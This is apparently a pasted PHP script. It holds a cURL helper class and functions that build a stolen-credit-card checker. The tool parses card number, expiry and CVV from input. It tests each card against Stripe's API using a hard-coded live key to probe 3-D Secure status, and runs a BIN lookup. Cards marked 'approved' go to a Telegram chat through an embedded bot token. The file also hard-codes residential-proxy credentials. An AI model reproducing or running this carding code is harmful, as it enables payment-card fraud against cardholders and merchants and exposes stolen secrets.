Untitled
unknown
plain_text
2 years ago
36 kB
7
Indexable
<?php if (!isset($_GET['card'])) error_reporting(0); class cURL { private static $ch; private static $response; private static array $info; private static int $error_code; private static $headersCallback; private static string $error_string; private static string $cookie_file = ""; private static string $cookies_dir = ""; private const TG_BOT_TOKEN = "5425981624:AAGiEmxcsqbhpX0VRXs3ZhCf7uFU0TmZBbg"; private static array $curlopt_headers = [ CURLOPT_TIMEOUT => 120, CURLOPT_HEADER => false, CURLOPT_AUTOREFERER => true, CURLINFO_HEADER_OUT => true, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_CONNECTTIMEOUT => 120, CURLOPT_FRESH_CONNECT => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, ]; /** * Basic curl_init for request structure * * @access private * @param string $url * * @return void */ private static function setUrl(string $url): void { self::$ch = curl_init($url); self::setOption(self::$curlopt_headers); } /** * Add options to current curl structure * * @access public * @param array $args * * @return void */ public static function setOption(array $option): void { curl_setopt_array(self::$ch, $option); } /** * Add headers to current curl structure * * @access private * @param header * * @return void */ private static function setHeader(array $header): void { self::setOption([CURLOPT_HTTPHEADER => $header]); } /** * Set a proxy from text file, HTTP/S - SOCKS4 - SOCKS5 * * @access private * @param array $args * * @return void */ private static function localProxy(array $args): void { self::setOption([ CURLOPT_PROXY => $args["SERVER"], CURLOPT_HTTPPROXYTUNNEL => true, ]); } /** * Custom Proxy Authentication * * @access private * @param array $args * * @return void */ private static function customProxy(array $args): void { self::setOption([ CURLOPT_PROXY => $args["SERVER"], CURLOPT_PROXYUSERPWD => $args["AUTH"], ]); } /** * Detect proxy configuration * * @access private * @param array $args * * @return void */ private static function sexyProxy($args): void { switch (strtoupper($args["METHOD"])) { case "TUNNEL": self::localProxy($args); break; case "CUSTOM": self::customProxy($args); break; } } /** * Created temp DIR and store cookie * * @access private * @param string $file * * @return void */ private static function autoCookie(string $file): void { self::$cookies_dir = dirname(__FILE__); if (!is_dir(self::$cookies_dir . "/cache/")) { mkdir(self::$cookies_dir . "/cache/", 0755); } self::$cookie_file = sprintf( "%s/cache/%s.txt", self::$cookies_dir, $file ); self::setOption([ CURLOPT_COOKIEJAR => self::$cookie_file, CURLOPT_COOKIEFILE => self::$cookie_file, ]); } /** * Delete stored cookie file * * @access public * * @return void */ public static function deleteCookie(): void { $fullPath = __DIR__ . "/cache/"; array_map("unlink", glob("$fullPath*.txt")); } /** * Validate parameters * * @access private * @param array $headers * @param string $cookie * @param array $server * * @return void */ private static function validateParam( array $headers = null, string $cookie = null, array $server = null ): void { if (!empty($headers) && (is_array($headers) || is_object($headers))) { self::setHeader($headers); } if (!empty($cookie)) { self::autoCookie($cookie); } if (!empty($server) && (is_array($server) || is_object($server))) { self::sexyProxy($server); } } /** * Send a GET request method with headers, cookies and proxy server * * @access public * @param string $url * @param array $headers * @param string $cookie * @param array $server * * @return object */ public static function get( string $url, array $headers = null, string $cookie = null, array $server = null ): object { self::setUrl($url); self::setOption([ CURLOPT_USERAGENT => self::userAgent(), CURLOPT_HTTPGET => true, ]); self::validateParam($headers, $cookie, $server); return self::run(); } /** * Send a POST request method with payload data, headers, cookies and proxy server * * @access public * @param string $url * @param string|array $data * @param array $headers * @param string $cookie * @param array $server * * @return object */ public static function post( string $url, $data = null, array $headers = null, string $cookie = null, array $server = null ): object { self::setUrl($url); self::setOption([ CURLOPT_USERAGENT => self::userAgent(), CURLOPT_POST => true, CURLOPT_POSTFIELDS => self::responseType($data), ]); self::validateParam($headers, $cookie, $server); return self::run(); } /** * Send a PUT request method with custom payload data, headers, cookies and proxy server * * @access public * @param string $url * @param string|array $data * @param array $headers * @param string $cookie * @param array $server * * @return object */ public static function put( string $url, $data = null, array $headers = null, string $cookie = null, array $server = null ): object { self::setUrl($url); self::setOption([ CURLOPT_USERAGENT => self::userAgent(), CURLOPT_CUSTOMREQUEST => "PUT", CURLOPT_POSTFIELDS => self::responseType($data), ]); self::validateParam($headers, $cookie, $server); return self::run(); } /** * Send the request structure * * @access public * * @return object */ public static function run(): object { self::createStdClass(); self::setOption([ CURLOPT_HEADERFUNCTION => createHeaderCallback( self::$headersCallback ), ]); self::$response = curl_exec(self::$ch); self::$info = curl_getinfo(self::$ch); if (self::$response === false) { self::$error_code = curl_errno(self::$ch); self::$error_string = curl_error(self::$ch); curl_close(self::$ch); return (object) [ "success" => false, "code" => self::$info["http_code"], "headers" => [ "request_headers" => key_exists( "request_header", self::$info ) ? self::parseHelper(self::$info["request_header"]) : [], "response_headers" => self::parseHelper( self::$headersCallback->rawResponseHeaders ), ], "errno" => self::$error_code, "error" => self::$error_string, "body" => "Error, " . self::$error_string, ]; } else { curl_close(self::$ch); return (object) [ "success" => true, "code" => self::$info["http_code"], "headers" => [ "request_headers" => key_exists( "request_header", self::$info ) ? self::parseHelper(self::$info["request_header"]) : [], "response_headers" => self::parseHelper( self::$headersCallback->rawResponseHeaders ), ], "body" => self::$response, "raw" => json_encode([ "request_headers" => self::parseHelper( self::$info["request_header"] ), "response_headers" => self::parseHelper( self::$headersCallback->rawResponseHeaders ), ]), ]; } } /** * Show all data process|errors of the request * * @access public * */ public static function debug() { echo sprintf( "=============================================</br>\n <h2>REQUEST DEBUG</h2>\n =============================================</br>\n <h3>RESPONSE</h3>\n <code>%s</code></br>\n\n", nl2br(htmlentities(self::$response)) ); echo sprintf( "=============================================</br>\n <h3>HEADERS</h3>\n =============================================</br> <pre>%s</pre>", print_r( [ "curl_info" => self::parseArray(self::$info), "response_headers" => self::parseHelper( self::$headersCallback->rawResponseHeaders ), ], true ) ); echo sprintf("<h3>================= END =================</h3>"); } /** * Store temp header callback data. * * @access private * * @return void * */ private static function createStdClass(): void { $hcd = new \stdClass(); $hcd->rawResponseHeaders = ""; self::$headersCallback = $hcd; } /** * Parse array headers * * @access private * @param array $raw * * @return array */ private static function parseArray(array $raw): array { if (array_key_exists("request_header", $raw)) { list($scheme, $headers) = self::parseHeaders( $raw["request_header"] ); $nh["scheme"] = $scheme; $nh += $headers; $raw["request_header"] = $nh; } return $raw; } /** * Detect response type * * @access private * @param string|array|object|null $data * * @return string */ private static function responseType($data): string { if (empty($data)) { return false; } elseif (is_array($data) || is_object($data)) { return json_encode($data); } else { return $data; } } /** * Can split a string by two specific strings * * @access public * @param string $start * @param string $end * @param string|null $data * * @return string */ public static function getBetwn($start, $end, $data = null): string { if($data == null) return explode($end, explode($start, self::$response)[1] ?? "")[0]; else return explode($data, explode($end, $start)[1] ?? "")[0]; } /** * Get a rand value from specific file.txt * * @access public * @param string $file * * @return string */ public static function getRandVal(string $file): string { $_ = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); return $_[array_rand($_)]; } /** * Parse Headers * * @access private * @param string $raw * * @return array */ private static function parseHeaders(string $raw): array { $raw = preg_split('/\r\n/', $raw, -1, PREG_SPLIT_NO_EMPTY); $http_headers = []; for ($i = 1; $i < count($raw); $i++) { if (strpos($raw[$i], ":") !== false) { list($key, $value) = explode(":", $raw[$i], 2); $key = trim($key); $value = trim($value); isset($http_headers[$key]) ? ($http_headers[$key] .= "," . $value) : ($http_headers[$key] = $value); } } return [($raw["0"] ??= $raw["0"]), $http_headers]; } /** * Parse Headers Handle * * @access private * @param string $raw * * @return array */ private static function parseHelper($raw): array { if (empty($raw)) { return []; } list($scheme, $headers) = self::parseHeaders($raw); $request_headers["scheme"] = $scheme; unset($headers["request_header"]); foreach ($headers as $key => $value) { $request_headers[$key] = $value; } return $request_headers; } /** * Gen valid chrome version * * @access private * @param string|array|object|null $version * * @return string */ private static function chromeVal($version): string { return random_int($version["min"], $version["max"]) . ".0." . random_int(3000, 4999) . "." . random_int(10, 99); } /** * return random user agent * * @access public * * @return string */ public static function userAgent(): string { $userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/" . (random_int(1, 100) > 50 ? random_int(533, 537) : random_int(600, 603)) . "." . random_int(1, 50) . " (KHTML, like Gecko) Chrome/" . self::chromeVal(["min" => 109, "max" => 109]) . " Safari/" . (random_int(1, 100) > 50 ? random_int(533, 537) : random_int(600, 603)); return $userAgent; } #============================== [ CUSTOM STATIC FUNCTIONS ] ==============================# /** * getCard Data * * @access public * @param string * * @return string */ public static function card(): string { $data = json_decode(file_get_contents('php://input'))->card ?? $_GET['card']; $filtered_msg = preg_replace( '/\n+|\s+|\D+|\~|\.|\`|\,|\!|\@|\#|\£|\€|\$|\¢|\¥|\/|\§|\%|\°|\^|\&|\*|\(|\)|\-|\+|\=|\{|\}|\[|\]|\||\\|\:|\;|\"|\'|\<|\>|\?/m', "|", $data ); $filtered_msg = preg_replace("/\|+/m", "|", $filtered_msg); $filtered_msg = preg_replace("/\|1\|/m", "|01|", $filtered_msg); $filtered_msg = preg_replace("/\|2\|/m", "|02|", $filtered_msg); $filtered_msg = preg_replace("/\|3\|/m", "|03|", $filtered_msg); $filtered_msg = preg_replace("/\|4\|/m", "|04|", $filtered_msg); $filtered_msg = preg_replace("/\|5\|/m", "|05|", $filtered_msg); $filtered_msg = preg_replace("/\|6\|/m", "|06|", $filtered_msg); $filtered_msg = preg_replace("/\|7\|/m", "|07|", $filtered_msg); $filtered_msg = preg_replace("/\|8\|/m", "|08|", $filtered_msg); $filtered_msg = preg_replace("/\|9\|/m", "|09|", $filtered_msg); if ( preg_match_all( "/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)\|(22|2022|23|2023|24|2024|25|2025|26|2026|27|2027|28|2028|29|2029|30|2030|31|2031|32|2032|33|2033|34|2034|35|2035)\|[0-9]{3}/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = $matches[0][0]; } if ( preg_match_all( "/[0-9]{16}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)\|(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], 20, -4); $year = substr($matches[0][0], 17, -7); $cvv = substr($matches[0][0], 23, 25); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)\|(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], 22, -4); $year = substr($matches[0][0], 17, -7); $cvv = substr($matches[0][0], 25, 27); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)(22|23|24|25|26|27|28|29|30|31|32|33|34|35)/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], 21, -2); $year = substr($matches[0][0], 23, 25); $cvv = substr($matches[0][0], 17, -5); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], 21, -4); $year = substr($matches[0][0], 23, 27); $cvv = substr($matches[0][0], 17, -7); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)(22|23|24|25|26|27|28|29|30|31|32|33|34|35)\|[0-9]{3}/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], 17, -6); $year = substr($matches[0][0], 19, -4); $cvv = substr($matches[0][0], 22, 25); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)\|[0-9]{3}/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], 17, -8); $year = substr($matches[0][0], 19, -4); $cvv = substr($matches[0][0], 24, 27); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], 21, -3); $year = substr($matches[0][0], 24, 26); $cvv = substr($matches[0][0], 17, -6); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|[0-9]{3}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)\|(01|02|03|04|05|06|07|08|09|10|11|12)/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], -2); $year = substr($matches[0][0], 21, -3); $cvv = substr($matches[0][0], 17, -8); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|[0-9]{3}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)\|(01|02|03|04|05|06|07|08|09|10|11|12)/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], -2); $year = substr($matches[0][0], 21, -3); $cvv = substr($matches[0][0], 17, -6); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], 19, -4); $year = substr($matches[0][0], 17, -6); $cvv = substr($matches[0][0], -3); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], 21, -4); $year = substr($matches[0][0], 17, -6); $cvv = substr($matches[0][0], -3); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], -2); $year = substr($matches[0][0], 17, -7); $cvv = substr($matches[0][0], 20, -3); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], -2); $year = substr($matches[0][0], 17, -7); $cvv = substr($matches[0][0], 22, -3); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], 17, -7); $year = substr($matches[0][0], -2); $cvv = substr($matches[0][0], 20, -3); $card = "$card|$month|$year|$cvv"; } if ( preg_match_all( "/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)/", $filtered_msg, $matches, PREG_SET_ORDER, 0 ) ) { $card = substr($matches[0][0], 0, 16); $month = substr($matches[0][0], 17, -9); $year = substr($matches[0][0], -4); $cvv = substr($matches[0][0], 20, -5); $card = "$card|$month|$year|$cvv"; } $last = [ "|2021" => "|21", "|2022" => "|22", "|2023" => "|23", "|2024" => "|24", "|2025" => "|25", "|2026" => "|26", "|2027" => "|27", "|2028" => "|28", "|2029" => "|29", "|2030" => "|30", "|2031" => "|31", "|2032" => "|32", "|2033" => "|33", "|2034" => "|34", "|2035" => "|35", ]; $card = strtr($card, $last); $last = [ "|21|" => "|2021|", "|22|" => "|2022|", "|23|" => "|2023|", "|24|" => "|2024|", "|25|" => "|2025|", "|26|" => "|2026|", "|27|" => "|2027|", "|28|" => "|2028|", "|29|" => "|2029|", "|30|" => "|2030|", "|31|" => "|2031|", "|32|" => "|2032|", "|33|" => "|2033|", "|34|" => "|2034|", "|35|" => "|2035|", ]; $card = strtr($card, $last); if (preg_match("/[0-9]{16}\|[0-9]{2}\|[0-9]{4}\|[0-9]{3}/", $card)) { return $card; } else { echo "Invalid Input !!"; die(); } } /** * 3D-Secure Lookup * * @access public * * @return string */ public static function localvbv(string $ccnum = null): string { if ($ccnum == null) { list($cc, $month, $year, $cvv) = explode("|", self::card()); } else { $cc = $ccnum; } $src = self::getBetwn( self::post( "https://api.stripe.com/v1/sources", "type=card&amount=100¤cy=usd&owner[name]=Geda+Gang&owner[address][line1]=150 Broadway&owner[address][state]=New York&owner[address][city]=New York&owner[address][postal_code]=10038&owner[address][country]=US&owner[email]=gedagang" . rand(100, 999) . "@gmail.com&owner[phone]=3157728" . rand(100, 999) . "&card[number]=" . $cc . "&card[cvc]=000&card[exp_month]=" . $month . "&card[exp_year]=" . $year . "", [ "accept: application/json", "content-type: application/x-www-form-urlencoded", "Authorization: Bearer pk_live_DIxPVkthRBpkhiGnNEX5vLiN", ] )->body, '"id": "', '"' ); if (!isset($src)) { return "PROCESSING ERROR"; } $url = str_replace( "\u0026", "&", self::getBetwn( self::post( "https://api.stripe.com/v1/sources", "type=three_d_secure&amount=100¤cy=usd&three_d_secure[card]=$src&redirect[return_url]=https%3A%2F%2Fstripe.com%2Fstatic_page&key=pk_live_DIxPVkthRBpkhiGnNEX5vLiN", [ "accept: application/json", "content-type: application/x-www-form-urlencoded", ] )->body, '"url": "', '"' ) ); $resp = self::get($url, null)->body; if (strpos($resp, "Return to Merchant")) { return "3DS BYPASSED"; } $url = str_replace( "amp;", "", self::getBetwn($resp, 'id="form" method="POST" action="', '"') ); $pareq = self::getBetwn( $resp, 'type="hidden" name="PaReq" value="', '"' ); $termurl = self::getBetwn( $resp, 'type="hidden" name="TermUrl" value="', '"' ); $md = self::getBetwn($resp, 'type="hidden" name="MD" value="', '"'); $resp = self::post( $url, "PaReq=" . $pareq . "&TermUrl=" . $termurl . "&MD=" . $md . "", [ "accept: application/json", "content-type: application/x-www-form-urlencoded", ] )->body; $url = self::getBetwn( $resp, 'action="', '" method="POST" id="TermForm"' ); $pares = self::getBetwn( $resp, 'type="hidden" name="PaRes" value="', '"' ); if (strpos($resp, "Your authentication could not be completed")) { return "PROCESSING ERROR"; } $resp = self::post($url, "PaRes=" . $pares . "&MD=", [ "accept: application/json", "content-type: application/x-www-form-urlencoded", ])->body; $url = self::getBetwn($resp, 'id="form" method="POST" action="', '"'); $pares = self::getBetwn( $resp, 'type="hidden" name="PaRes" value="', '"' ); $md = self::getBetwn($resp, 'type="hidden" name="MD" value="', '"'); $merchant = self::getBetwn( $resp, 'type="hidden" name="merchant" value="', '"' ); $resp = self::post( $url, "PaRes=" . $pares . "&MD=" . $md . "&merchant=" . $merchant . "", [ "accept: application/json", "content-type: application/x-www-form-urlencoded", ] )->body; if (strpos($resp, "Return to Merchant")) { return "3DS BYPASSED"; } else { return "3DS ENROLLED"; } } /** * Bin lookup API * * @access public * * @return string */ public static function binx(string $ccnum = null): string { if ($ccnum == null) { $card = self::card(); } else { $card = $ccnum; } $cc = explode("|", $card); $first6 = substr($cc[0], 0, 6); $bin_resp = file_get_contents( "https://lookup.binlist.net/" . $first6 . "" ); $scheme = strtoupper(self::getBetwn($bin_resp, '"scheme":"', '"')); $type = strtoupper(self::getBetwn($bin_resp, '"type":"', '"')); $brand = strtoupper(self::getBetwn($bin_resp, '"brand":"', '"')); $prepaid = strtoupper(self::getBetwn($bin_resp, '"prepaid":', ',"')); $country = strtoupper( self::getBetwn($bin_resp, '"name":"', '","emoji"') ); $emoji = strtoupper(self::getBetwn($bin_resp, '"emoji":"', '"')); $bank = strtoupper(self::getBetwn($bin_resp, '"bank":{"name":"', '"')); $binpile = "$scheme|$type|$brand|$prepaid|$bank|$country|$emoji"; $binx = "" . self::localvbv() . "|" . $binpile . ""; return $binx; } /** * array strpos command * * @access private * * @return string */ private static function strpos_array( $haystack, $needles = [], $offset = 0 ): string { $chr = []; foreach ($needles as $needle) { $res = strpos($haystack, $needle, $offset); if ($res !== false) { $chr[$needle] = $res; } } if (empty($chr)) { return false; } return min($chr); } /** * send live cards to telegram * * @access public * * @return void */ public static function telegram(string $data): void { self::get( "https://api.telegram.org/bot" . self::TG_BOT_TOKEN . "/sendMessage?chat_id=-1001728610687&text=" . $data . "&parse_mode=html", ["Content-Type: application/json"] ); } /** * return valid response * * @access public * * @return void */ public static function find($resp, $data, $msg): void { if (empty($msg)) { $msgx = "EMPTY RESPONSE DATA"; } else { $msgx = strtoupper($msg); } if (self::strpos_array($resp, $data)) { if (empty($msg)) { echo "<div class='content12'>APPROVED<font size='3.0'> " . self::card() . " CVV MATCHES|" . self::binx() . "</font></div>"; self::telegram( "APPROVED " . self::card() . " CVV MATCHES|" . self::binx() . "" ); } else { echo "<div class='content12'>APPROVED<font size='3.0'> " . self::card() . " CVV MATCHES|" . $msgx . "|" . self::binx() . "</font></div>"; self::telegram( "APPROVED " . self::card() . " CVV MATCHES|" . $msgx . "|" . self::binx() . "" ); } } else { echo "<div class='content12'>DECLINED<font size='3.0'> " . self::card() . " MSG => $msgx</font></div>"; } } } $curl = new cURl(); $cookie = uniqid("cookie_"); $server = [ "METHOD" => "CUSTOM", "SERVER" => "pr.pyproxy.com:16666", "AUTH" => "unique-zone-resi:mikeif8", ];
Editor is loading...